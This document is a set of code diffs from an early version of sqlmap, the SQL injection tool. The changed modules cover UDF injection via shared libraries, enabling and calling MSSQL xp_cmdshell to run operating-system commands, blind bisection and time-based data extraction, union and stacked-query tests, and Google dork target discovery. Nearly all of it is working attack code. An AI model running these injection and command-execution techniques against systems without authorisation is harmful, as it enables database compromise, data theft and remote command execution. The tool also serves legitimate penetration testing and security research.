udfName = "sys_eval"
inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last)
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if isinstance(output, (list, tuple)):
output = output[0]
@@ -61,7 +116,254 @@ class UDF:
return output
def udfCreateFromSharedLib(self):
errMsg = "udfSetRemotePath() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException(errMsg)
def udfInit(self):
errMsg = "udfInit() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException, errMsg
def udfSetRemotePath(self):
errMsg = "udfSetRemotePath() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException(errMsg)
def udfInjectCmd(self):
errMsg = "udfInjectCmd() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException(errMsg)
def udfInjectCore(self, udfDict):
for udf in udfDict.keys():
if udf in self.createdUdf:
continue
self.udfCheckAndOverwrite(udf)
if len(self.udfToCreate) > 0:
self.udfSetRemotePath()
self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary", False)
for udf, inpRet in udfDict.items():
if udf in self.udfToCreate and udf not in self.createdUdf:
self.udfCreateFromSharedLib(udf, inpRet)
if kb.dbms == "MySQL":
supportTblType = "longtext"
elif kb.dbms == "PostgreSQL":
supportTblType = "text"
self.udfCreateSupportTbl(supportTblType)
def udfInjectCustom(self):
if kb.dbms not in ( "MySQL", "PostgreSQL" ):
errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms
raise sqlmapUnsupportedFeatureException(errMsg)
stackedTest()
if not kb.stackedTest:
return
self.checkDbmsOs()
if self.isDba() == False:
warnMsg = "the functionality requested might not work because "
warnMsg += "the session user is not a database administrator"
logger.warn(warnMsg)
if not conf.shLib:
msg = "which is the local path of the shared library? "
while True:
self.udfLocalFile = readInput(msg)
if self.udfLocalFile:
break
else:
logger.warn("you need to specify the local path of the shared library")
else:
self.udfLocalFile = conf.shLib
if not os.path.exists(self.udfLocalFile):
errMsg = "the specified shared library file does not exist"
raise sqlmapFilePathException(errMsg)
if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"):
errMsg = "shared library file must end with '.dll' or '.so'"
raise sqlmapMissingMandatoryOptionException(errMsg)
elif self.udfLocalFile.endswith(".so") and kb.os == "Windows":
errMsg = "you provided a shared object as shared library, but "
errMsg += "the database underlying operating system is Windows"
raise sqlmapMissingMandatoryOptionException(errMsg)
elif self.udfLocalFile.endswith(".dll") and kb.os == "Linux":
errMsg = "you provided a dynamic-link library as shared library, "
errMsg += "but the database underlying operating system is Linux"
raise sqlmapMissingMandatoryOptionException(errMsg)
self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]
msg = "how many user-defined functions do you want to create "
msg += "from the shared library? "
while True:
udfCount = readInput(msg, default=1)
if isinstance(udfCount, str) and udfCount.isdigit():
udfCount = int(udfCount)
if udfCount <= 0:
logger.info("nothing to inject then")
return
else:
break
elif isinstance(udfCount, int):
break
else:
logger.warn("invalid value, only digits are allowed")
for x in range(0, udfCount):
while True:
msg = "what is the name of the UDF number %d? " % (x + 1)
udfName = readInput(msg)
if udfName:
self.udfs[udfName] = {}
break
else:
logger.warn("you need to specify the name of the UDF")
if kb.dbms == "MySQL":
defaultType = "string"
elif kb.dbms == "PostgreSQL":
defaultType = "text"
self.udfs[udfName]["input"] = []
default = 1
msg = "how many input parameters takes UDF "
msg += "'%s'? (default: %d) " % (udfName, default)
while True:
parCount = readInput(msg, default=default)
if isinstance(parCount, str) and parCount.isdigit() and int(parCount) >= 0:
parCount = int(parCount)
break
elif isinstance(parCount, int):
break
else:
logger.warn("invalid value, only digits >= 0 are allowed")
for y in range(0, parCount):
msg = "what is the data-type of input parameter "
msg += "number %d? (default: %s) " % ((y + 1), defaultType)
while True:
parType = readInput(msg, default=defaultType)
if isinstance(parType, str) and parType.isdigit():
logger.warn("you need to specify the data-type of the parameter")
else:
self.udfs[udfName]["input"].append(parType)
break
msg = "what is the data-type of the return "
msg += "value? (default: %s) " % defaultType
while True:
retType = readInput(msg, default=defaultType)
if isinstance(retType, str) and retType.isdigit():
logger.warn("you need to specify the data-type of the return value")
else:
self.udfs[udfName]["return"] = retType
break
self.udfInjectCore(self.udfs)
msg = "do you want to call your injected user-defined "
msg += "functions now? [Y/n/q] "
choice = readInput(msg, default="Y")
if choice[0] not in ( "y", "Y" ):
self.cleanup(udfDict=self.udfs)
return
while True:
udfList = []
msg = "which UDF do you want to call?"
for udf, inpRet in self.udfs.items():
udfList.append(udf)
msg += "\n[%d] %s" % (len(udfList), udf)
msg += "\n[q] Quit"
while True:
choice = readInput(msg)
if choice[0] in ( "q", "Q" ):
break
if isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
choice = int(choice)
break
elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
break
else:
warnMsg = "invalid value, only digits >= 1 and "
warnMsg += "<= %d are allowed" % len(udfList)
logger.warn(warnMsg)
cmd = ""
count = 1
udfToCall = udfList[choice - 1]
for inp in self.udfs[udfToCall]["input"]:
msg = "what is the value of the parameter number "
msg += "%d (data-type: %s)? " % (count, inp)
while True:
parValue = readInput(msg)
if parValue:
if "int" not in inp and "bool" not in inp:
parValue = "'%s'" % parValue
cmd += "%s," % parValue
break
else:
logger.warn("you need to specify the value of the parameter")
count += 1
cmd = cmd[:-1]
msg = "do you want to retrieve the return value of the "
msg += "UDF? [Y/n] "
choice = readInput(msg, default="Y")
if choice[0] in ("y", "Y"):
output = self.udfEvalCmd(cmd, udfName=udfToCall)
if output:
dumper.string("return value", output)
else:
print "No return value"
else:
self.udfExecCmd(cmd, udfName=udfToCall, silent=True)
msg = "do you want to call this or another injected UDF? [Y/n] "
choice = readInput(msg, default="Y")
if choice[0] not in ("y", "Y"):
break
self.cleanup(udfDict=self.udfs)

View File

@@ -22,10 +22,7 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import sys
import time
from subprocess import PIPE
@@ -38,7 +35,6 @@ from lib.core.data import logger
from lib.core.data import paths
from lib.core.settings import PLATFORM
class UPX:
"""
This class defines methods to compress binary files with UPX (Ultimate
@@ -49,17 +45,27 @@ class UPX:
"""
def __initialize(self, srcFile, dstFile=None):
if "win" in PLATFORM:
self.__upxPath = "%s/upx/windows/upx.exe" % paths.SQLMAP_CONTRIB_PATH
if "darwin" in PLATFORM:
self.__upxPath = "%s/upx/macosx/upx" % paths.SQLMAP_CONTRIB_PATH
elif "win" in PLATFORM:
self.__upxPath = "%s\upx\windows\upx.exe" % paths.SQLMAP_CONTRIB_PATH
elif "linux" in PLATFORM:
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
else:
warnMsg = "unsupported platform for the compression tool "
warnMsg += "(upx), sqlmap will continue anyway"
logger.warn(warnMsg)
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
self.__upxCmd = "%s -9 -qq %s" % (self.__upxPath, srcFile)
if dstFile:
self.__upxCmd += " -o %s" % dstFile
def pack(self, srcFile, dstFile=None):
self.__initialize(srcFile, dstFile)
@@ -68,22 +74,29 @@ class UPX:
dataToStdout("\r[%s] [INFO] compression in progress " % time.strftime("%X"))
pollProcess(process)
upxStderr = process.communicate()[1]
upxStdout, upxStderr = process.communicate()
if upxStderr:
logger.warn("failed to compress the file")
msg = "failed to compress the file"
if "NotCompressibleException" in upxStdout:
msg += " because you provided a Metasploit version above "
msg += "3.3-dev revision 6681. This will not inficiate "
msg += "the correct execution of sqlmap. It might "
msg += "only slow down a bit the execution"
logger.debug(msg)
elif upxStderr:
logger.warn(msg)
return None
else:
return os.path.getsize(srcFile)
return None
def unpack(self, srcFile, dstFile=None):
pass
def verify(self, filePath):
pass
upx = UPX()

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.convert import urlencode
@@ -34,7 +32,6 @@ from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.request import inject
from lib.techniques.blind.timebased import timeUse
class xp_cmdshell:
"""
This class defines methods to deal with Microsoft SQL Server
@@ -44,9 +41,7 @@ class xp_cmdshell:
def __init__(self):
self.xpCmdshellStr = "master..xp_cmdshell"
def __xpCmdshellCreate(self):
# TODO: double-check that this method works properly
cmd = ""
if kb.dbmsVersion[0] in ( "2005", "2008" ):
@@ -73,7 +68,6 @@ class xp_cmdshell:
self.xpCmdshellExecCmd(cmd)
def __xpCmdshellConfigure2005(self, mode):
debugMsg = "configuring xp_cmdshell using sp_configure "
debugMsg += "stored procedure"
@@ -87,7 +81,6 @@ class xp_cmdshell:
return cmd
def __xpCmdshellConfigure2000(self, mode):
debugMsg = "configuring xp_cmdshell using sp_addextendedproc "
debugMsg += "stored procedure"
@@ -96,12 +89,11 @@ class xp_cmdshell:
if mode == 1:
cmd = "EXEC master..sp_addextendedproc 'xp_cmdshell', "
cmd += "@dllname='xplog70.dll'"
else:
cmd = "EXEC master..sp_dropextendedproc xp_cmdshell"
else:
cmd = "EXEC master..sp_dropextendedproc xp_cmdshell"
return cmd
def __xpCmdshellConfigure(self, mode):
if kb.dbmsVersion[0] in ( "2005", "2008" ):
cmd = self.__xpCmdshellConfigure2005(mode)
@@ -110,7 +102,6 @@ class xp_cmdshell:
self.xpCmdshellExecCmd(cmd)
def __xpCmdshellCheck(self):
query = self.xpCmdshellForgeCmd("ping -n %d 127.0.0.1" % (conf.timeSec + 2))
duration = timeUse(query)
@@ -120,34 +111,31 @@ class xp_cmdshell:
else:
return False
def xpCmdshellForgeCmd(self, cmd):
return "EXEC %s '%s'" % (self.xpCmdshellStr, cmd)
def xpCmdshellExecCmd(self, cmd, silent=False, forgeCmd=False):
if forgeCmd == True:
if forgeCmd:
cmd = self.xpCmdshellForgeCmd(cmd)
cmd = urlencode(cmd, convall=True)
inject.goStacked(cmd, silent)
inject.goStacked(cmd, silent)
def xpCmdshellEvalCmd(self, cmd):
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
self.getRemoteTempPath()
tmpFile = "%s/sqlmapevalcmd%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
cmd = self.xpCmdshellForgeCmd("%s > %s" % (cmd, tmpFile))
self.xpCmdshellExecCmd(cmd)
self.xpCmdshellExecCmd("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10)))
cmd = self.xpCmdshellForgeCmd("del /F %s" % tmpFile.replace("/", "\\"))
self.xpCmdshellExecCmd(cmd)
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10)))
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False)
self.xpCmdshellExecCmd("DELETE FROM %s" % self.cmdTblName)
self.delRemoteFile(tmpFile)
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False, firstChar=first, lastChar=last)
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if isinstance(output, (list, tuple)):
output = output[0]
@@ -157,7 +145,6 @@ class xp_cmdshell:
return output
def xpCmdshellInit(self, mandatory=True):
self.__xpCmdshellAvailable = False
@@ -167,7 +154,7 @@ class xp_cmdshell:
result = self.__xpCmdshellCheck()
if result == True:
if result:
logger.info("xp_cmdshell extended procedure is available")
self.__xpCmdshellAvailable = True
@@ -180,7 +167,7 @@ class xp_cmdshell:
if not choice or choice in ("y", "Y"):
self.__xpCmdshellConfigure(1)
if self.__xpCmdshellCheck() == True:
if self.__xpCmdshellCheck():
logger.info("xp_cmdshell re-enabled successfully")
self.__xpCmdshellAvailable = True
@@ -191,7 +178,7 @@ class xp_cmdshell:
self.__xpCmdshellConfigure(0)
self.__xpCmdshellCreate()
if self.__xpCmdshellCheck() == True:
if self.__xpCmdshellCheck():
logger.info("xp_cmdshell created successfully")
self.__xpCmdshellAvailable = True
@@ -200,14 +187,14 @@ class xp_cmdshell:
warnMsg += "because sp_OACreate is disabled"
logger.warn(warnMsg)
if self.__xpCmdshellAvailable == False and mandatory == False:
if not self.__xpCmdshellAvailable and not mandatory:
warnMsg = "unable to get xp_cmdshell working, sqlmap will "
warnMsg += "try to proceed without it"
logger.warn(warnMsg)
self.envInitialized = True
elif self.__xpCmdshellAvailable == False:
elif not self.__xpCmdshellAvailable:
errMsg = "unable to proceed without xp_cmdshell"
raise sqlmapUnsupportedFeatureException, errMsg
@@ -215,6 +202,6 @@ class xp_cmdshell:
debugMsg = "creating a support table to write commands standard "
debugMsg += "output to"
logger.debug(debugMsg)
logger.debug(debugMsg)
self.createSupportTbl(self.cmdTblName, self.tblField, "text")
self.createSupportTbl(self.cmdTblName, self.tblField, "varchar(8000)")

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import threading
import time
import traceback
@@ -43,9 +41,7 @@ from lib.core.exception import unhandledException
from lib.core.progress import ProgressBar
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
def bisection(payload, expression, length=None, charsetType=None):
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None):
"""
Bisection algorithm that can be used to perform blind SQL injection
on an affected host
@@ -56,6 +52,24 @@ def bisection(payload, expression, length=None, charsetType=None):
asciiTbl = getCharset(charsetType)
if "LENGTH(" in expression or "LEN(" in expression:
firstChar = 0
elif conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, str) and conf.firstChar.isdigit() ) ):
firstChar = int(conf.firstChar) - 1
elif firstChar is None:
firstChar = 0
elif ( isinstance(firstChar, str) and firstChar.isdigit() ) or isinstance(firstChar, int):
firstChar = int(firstChar) - 1
if "LENGTH(" in expression or "LEN(" in expression:
lastChar = 0
elif conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, str) and conf.lastChar.isdigit() ) ):
lastChar = int(conf.lastChar)
elif lastChar in ( None, "0" ):
lastChar = 0
elif ( isinstance(lastChar, str) and lastChar.isdigit() ) or isinstance(lastChar, int):
lastChar = int(lastChar)
if kb.dbmsDetected:
_, _, _, _, _, _, fieldToCastStr = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
@@ -73,15 +87,18 @@ def bisection(payload, expression, length=None, charsetType=None):
if length == 0:
return 0, ""
showEta = conf.eta and length
if lastChar > 0 and length > ( lastChar - firstChar ):
length = ( lastChar - firstChar )
showEta = conf.eta and isinstance(length, int)
numThreads = min(conf.threads, length)
threads = []
threads = []
if showEta:
progress = ProgressBar(maxValue=length)
progressTime = []
if conf.verbose in ( 1, 2 ) and not showEta:
if conf.verbose >= 1 and not showEta:
if isinstance(length, int) and conf.threads > 1:
infoMsg = "starting %d threads" % numThreads
logger.info(infoMsg)
@@ -92,8 +109,6 @@ def bisection(payload, expression, length=None, charsetType=None):
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
queriesCount = [0] # As list to deal with nested scoping rules
def getChar(idx, asciiTbl=asciiTbl):
maxValue = asciiTbl[len(asciiTbl)-1]
minValue = 0
@@ -105,7 +120,7 @@ def bisection(payload, expression, length=None, charsetType=None):
forgedPayload = payload % (expressionUnescaped, idx, posValue)
result = Request.queryPage(forgedPayload)
if result == True:
if result:
minValue = posValue
asciiTbl = asciiTbl[position:]
else:
@@ -117,8 +132,6 @@ def bisection(payload, expression, length=None, charsetType=None):
return None
else:
return chr(minValue + 1)
def etaProgressUpdate(charTime, index):
if len(progressTime) <= ( (length * 3) / 100 ):
eta = 0
@@ -130,48 +143,40 @@ def bisection(payload, expression, length=None, charsetType=None):
progressTime.append(charTime)
progress.update(index)
progress.draw(eta)
if conf.threads > 1 and isinstance(length, int) and length > 1:
value = [None] * length
index = [0] # As list for python nested function scoping
value = [ None ] * length
index = [ firstChar ] # As list for python nested function scoping
idxlock = threading.Lock()
iolock = threading.Lock()
def downloadThread():
while True:
idxlock.acquire()
try:
while True:
idxlock.acquire()
if index[0] >= length:
if index[0] >= length:
idxlock.release()
return
index[0] += 1
curidx = index[0]
idxlock.release()
return
charStart = time.time()
val = getChar(curidx)
index[0] += 1
curidx = index[0]
idxlock.release()
if val is None:
raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
charStart = time.time()
val = getChar(curidx)
value[curidx-1] = val
if val == None:
raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
value[curidx-1] = val
if showEta:
etaProgressUpdate(time.time() - charStart, index[0])
elif conf.verbose in ( 1, 2 ):
s = "".join([c or "_" for c in value])
iolock.acquire()
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
iolock.release()
def downloadThreadProxy(numThread):
try:
downloadThread()
if showEta:
etaProgressUpdate(time.time() - charStart, index[0])
elif conf.verbose >= 1:
s = "".join([c or "_" for c in value])
iolock.acquire()
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
iolock.release()
except (sqlmapConnectionException, sqlmapValueException), errMsg:
conf.threadException = True
@@ -195,11 +200,9 @@ def bisection(payload, expression, length=None, charsetType=None):
errMsg = unhandledException()
logger.error("thread %d: %s" % (numThread + 1, errMsg))
traceback.print_exc()
# Start the threads
for numThread in range(numThreads):
thread = threading.Thread(target=downloadThreadProxy(numThread))
thread = threading.Thread(target=downloadThread)
thread.start()
threads.append(thread)
@@ -211,7 +214,7 @@ def bisection(payload, expression, length=None, charsetType=None):
# can mean that the connection to the target url was lost
if None in value:
for v in value:
if isinstance(v, str) and v != None:
if isinstance(v, str) and v is not None:
partialValue += v
if partialValue:
@@ -224,18 +227,18 @@ def bisection(payload, expression, length=None, charsetType=None):
if isinstance(finalValue, str) and len(finalValue) > 0:
dataToSessionFile(replaceNewlineTabs(finalValue))
if conf.verbose in ( 1, 2 ) and not showEta and infoMsg:
if conf.verbose >= 1 and not showEta and infoMsg:
dataToStdout(infoMsg)
else:
index = 0
index = firstChar
while True:
index += 1
charStart = time.time()
val = getChar(index, asciiTbl)
if val == None:
if val is None or ( lastChar > 0 and index > lastChar ):
break
finalValue += val
@@ -244,10 +247,10 @@ def bisection(payload, expression, length=None, charsetType=None):
if showEta:
etaProgressUpdate(time.time() - charStart, index)
elif conf.verbose in ( 1, 2 ):
elif conf.verbose >= 1:
dataToStdout(val)
if conf.verbose in ( 1, 2 ) or showEta:
if conf.verbose >= 1 or showEta:
dataToStdout("\n")
if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3:

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import time
from lib.core.agent import agent
@@ -33,8 +31,6 @@ from lib.core.data import kb
from lib.core.data import logger
from lib.request import inject
from lib.request.connect import Connect as Request
def timeTest():
infoMsg = "testing time based blind sql injection on parameter "
infoMsg += "'%s' with AND condition syntax" % kb.injParameter
@@ -82,8 +78,6 @@ def timeTest():
kb.timeTest = False
return kb.timeTest
def timeUse(query):
start = time.time()
_, _ = inject.goStacked(query)

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.agent import agent
from lib.core.common import randomStr
from lib.core.data import conf
@@ -35,7 +33,6 @@ from lib.core.unescaper import unescaper
from lib.parse.html import htmlParser
from lib.request.connect import Connect as Request
def __unionPosition(negative=False, falseCond=False):
if negative or falseCond:
negLogMsg = "partial (single entry)"
@@ -93,7 +90,6 @@ def __unionPosition(negative=False, falseCond=False):
logger.warn(warnMsg)
def __unionConfirm():
# Confirm the inband SQL injection and get the exact column
# position
@@ -121,7 +117,6 @@ def __unionConfirm():
else:
conf.paramFalseCond = True
def __forgeUserFriendlyValue(payload):
value = ""
@@ -139,7 +134,6 @@ def __forgeUserFriendlyValue(payload):
return value
def __unionTestByNULLBruteforce(comment):
"""
This method tests if the target url is affected by an inband
@@ -173,10 +167,10 @@ def __unionTestByNULLBruteforce(comment):
return value, columns
def __unionTestByOrderBy(comment):
columns = None
value = None
columns = None
value = None
prevPayload = ""
for count in range(1, 51):
query = agent.prefixQuery(" ORDER BY %d" % count)
@@ -196,7 +190,6 @@ def __unionTestByOrderBy(comment):
return value, columns
def unionTest():
"""
This method tests if the target url is affected by an inband

View File

@@ -22,30 +22,23 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
import time
from lib.core.agent import agent
from lib.core.common import parseUnionPage
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.data import temp
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.session import setUnion
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest
from lib.utils.resume import resume
reqCount = 0
def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar="NULL", unpack=True):
"""
This function tests for an inband SQL injection on the target
@@ -63,7 +56,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
global reqCount
if resetCounter == True:
if resetCounter:
reqCount = 0
if not kb.unionCount:
@@ -77,7 +70,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
expression = agent.concatQuery(expression, unpack)
expression = unescaper.unescape(expression)
if ( conf.paramNegative == True or conf.paramFalseCond == True ) and direct == False:
if ( conf.paramNegative or conf.paramFalseCond ) and not direct:
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
if len(expressionFieldsList) > 1:
@@ -144,7 +137,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
else:
test = True
if test == True:
if test:
# Count the number of SQL query entries output
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
@@ -202,7 +195,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
field = expressionFieldsList[0]
elif kb.dbms == "Oracle":
field = expressionFieldsList
field = expressionFieldsList
else:
field = None
@@ -222,6 +215,8 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
query = agent.forgeInbandQuery(expression, nullChar=nullChar)
payload = agent.payload(newValue=query)
# NOTE: for debug purposes only
#debugMsg = "query: %s" % payload
debugMsg = "query: %s" % query
logger.debug(debugMsg)

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import time
from lib.core.common import getDelayQuery
@@ -33,9 +31,8 @@ from lib.core.data import logger
from lib.core.session import setStacked
from lib.request import inject
def stackedTest():
if kb.stackedTest != None:
if kb.stackedTest is not None:
return kb.stackedTest
infoMsg = "testing stacked queries support on parameter "
@@ -53,7 +50,6 @@ def stackedTest():
logger.info(infoMsg)
kb.stackedTest = payload
else:
warnMsg = "the web application does not support stacked queries "
warnMsg += "on parameter '%s'" % kb.injParameter

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import cookielib
import re
import urllib2
@@ -31,9 +29,9 @@ import urllib2
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapRegExprException
from lib.request.basic import decodePage
class Google:
"""
@@ -48,7 +46,6 @@ class Google:
self.opener = urllib2.build_opener(proxyHandler, urllib2.HTTPCookieProcessor(self.__cj))
self.opener.addheaders = conf.httpHeaders
def __parsePage(self, page):
"""
Parse Google dork search results page to get the list of
@@ -62,7 +59,6 @@ class Google:
return matches
def getTargetUrls(self):
"""
This method returns the list of hosts with parameters out of
@@ -73,7 +69,6 @@ class Google:
if re.search("(.*?)\?(.+)", match, re.I):
kb.targetUrls.add(( match, None, None, None ))
def getCookie(self):
"""
This method is the first to be called when initializing a
@@ -84,30 +79,54 @@ class Google:
try:
conn = self.opener.open("http://www.google.com/ncr")
headers = conn.info()
_ = conn.info()
except urllib2.HTTPError, e:
headers = e.info()
_ = e.info()
except urllib2.URLError, e:
errMsg = "unable to connect to Google"
raise sqlmapConnectionException, errMsg
def search(self, googleDork):
"""
This method performs the effective search on Google providing
the google dork and the Google session cookie
"""
gpage = conf.googlePage if conf.googlePage > 1 else 1
if not googleDork:
return None
url = "http://www.google.com/search?"
url += "q=%s&" % urlencode(googleDork)
url += "num=100&hl=en&safe=off&filter=0&btnG=Search"
url += "&start=%d" % ((gpage-1) * 100)
try:
conn = self.opener.open(url)
page = conn.read()
requestMsg = "HTTP request:\nGET %s HTTP/1.1" % url
#requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in conn.headers.items()])
#requestMsg += "\n%s" % requestHeaders
requestMsg += "\n"
logger.log(9, requestMsg)
page = conn.read()
code = conn.code
status = conn.msg
responseHeaders = conn.info()
encoding = responseHeaders.get("Content-Encoding")
page = decodePage(page, encoding)
responseMsg = "HTTP response (%s - %d):\n" % (status, code)
if conf.verbose <= 4:
responseMsg += str(responseHeaders)
elif conf.verbose > 4:
responseMsg += "%s\n%s\n" % (responseHeaders, page)
logger.log(8, responseMsg)
except urllib2.HTTPError, e:
page = e.read()
except urllib2.URLError, e:

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.agent import agent
from lib.core.common import randomInt
from lib.core.common import randomStr
@@ -34,7 +32,6 @@ from lib.core.exception import sqlmapNoneDataException
from lib.core.session import setParenthesis
from lib.request.connect import Connect as Request
def checkForParenthesis():
"""
This method checks if the SQL injection affected parameter
@@ -46,7 +43,7 @@ def checkForParenthesis():
count = 0
if kb.parenthesis != None:
if kb.parenthesis is not None:
return
if conf.prefix or conf.postfix:
@@ -76,7 +73,7 @@ def checkForParenthesis():
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
if result == True:
if result:
count = parenthesis
logMsg = "the injectable parameter requires %d parenthesis" % count

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.common import dataToSessionFile
@@ -34,7 +32,6 @@ from lib.core.data import queries
from lib.core.unescaper import unescaper
from lib.techniques.blind.inference import bisection
def queryOutputLength(expression, payload):
"""
Returns the query output length.
@@ -45,14 +42,17 @@ def queryOutputLength(expression, payload):
select = re.search("\ASELECT\s+", expression, re.I)
selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I)
selectExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I)
selectFromExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I)
selectExpr = re.search("\ASELECT\s+(.+)$", expression, re.I)
miscExpr = re.search("\A(.+)", expression, re.I)
if selectTopExpr or selectDistinctExpr or selectExpr:
if selectTopExpr or selectDistinctExpr or selectFromExpr or selectExpr:
if selectTopExpr:
regExpr = selectTopExpr.groups()[0]
elif selectDistinctExpr:
regExpr = selectDistinctExpr.groups()[0]
elif selectFromExpr:
regExpr = selectFromExpr.groups()[0]
elif selectExpr:
regExpr = selectExpr.groups()[0]
elif miscExpr:
@@ -84,7 +84,6 @@ def queryOutputLength(expression, payload):
return count, length, regExpr
def resume(expression, payload):
"""
This function can be called to resume part or entire output of a
@@ -107,7 +106,7 @@ def resume(expression, payload):
if resumedValue[-1] == "]":
resumedValue = resumedValue[:-1]
infoMsg = "read from file '%s': " % conf.sessionFile
infoMsg = "read from file '%s': " % conf.sessionFile
logValue = re.findall("__START__(.*?)__STOP__", resumedValue, re.S)
if logValue:

View File

@@ -22,21 +22,17 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import binascii
import os
import time
from lib.core.agent import agent
from lib.core.common import dataToOutFile
from lib.core.common import dataToStdout
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.common import getRange
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
@@ -48,11 +44,9 @@ from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setDbms
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MSSQL_SYSTEM_DBS
from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper
from lib.request import inject
from lib.request.connect import Connect as Request
from lib.techniques.outband.stacked import stackedTest
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
@@ -75,7 +69,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
